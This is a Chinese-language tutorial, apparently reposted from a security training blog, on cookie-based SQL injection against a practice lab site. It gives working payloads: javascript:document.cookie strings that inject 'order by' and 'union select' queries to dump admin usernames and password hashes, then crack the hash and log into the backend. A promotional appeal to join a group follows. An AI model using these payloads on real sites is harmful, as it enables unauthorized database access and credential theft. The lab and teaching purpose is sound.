注册
登录
| 关键词： cookie 然后 34 javascript document 一下 escape 171 alert 优惠券 |
经过了我们前段时间的sql注入学习，今天我们来深入学习一下sql注入之cookie注入 首先我们打开靶场环境  随便点开一篇文章 尝试在结尾构造一下 and 1=1  可见是使用了防注入的，但是目前我们是使用get方式提交的参数,我们将id=171包括后面的全部删除一下试试 显示数据库出错 这里存在cookie注入，首先我们恢复成原来的界面  然后我们下载一个ModHeader浏览器插件，将cookie设置为id的值。然后我们访问 其去掉后面?id的网页，发现并没有显示数据库出错了 然后将IE栏清空，输入  javascript:alert(document.cookie="id="+escape("171")); 这个语句就是构造一个JS，把内容插入到cookie里面去  返回出一个id=171 然后我们来手工注入一下他的字段数 javascript:alert(document.cookie="id="+escape("171 order by 10"));  可以知道他有10个字段数 然后我们里显示他的值 javascript:alert(document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin"));  再刷新一遍发现显示2，3 然后我们来破解账号和密码 javascript:alert(document.cookie="id="+escape("171 union select 1,password,username,4,5,6,7,8,9,10 from admin"));  得出来MD5加密后密码，解密后welcome，然后就可以登录后台了。 最后喜欢我文章的朋友请加圈子关注我们，私信关键词：加群。（送免费资料和优惠券） 就会自动分享给你群号。欢迎大家加入我们的安全大家庭。提高大家的安全意识，提升大家的网络安全技能一直是我们的初衷和愿景，让我们共同成为守护信息世界的"SaFeMAN"。 还有可以关注我们微信公众号，在公众号上输入安界网，就可以关注到我们，领取资料和优惠券！ |
| 本文出处： https://www.toutiao.com/a6764245983858524680/ |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
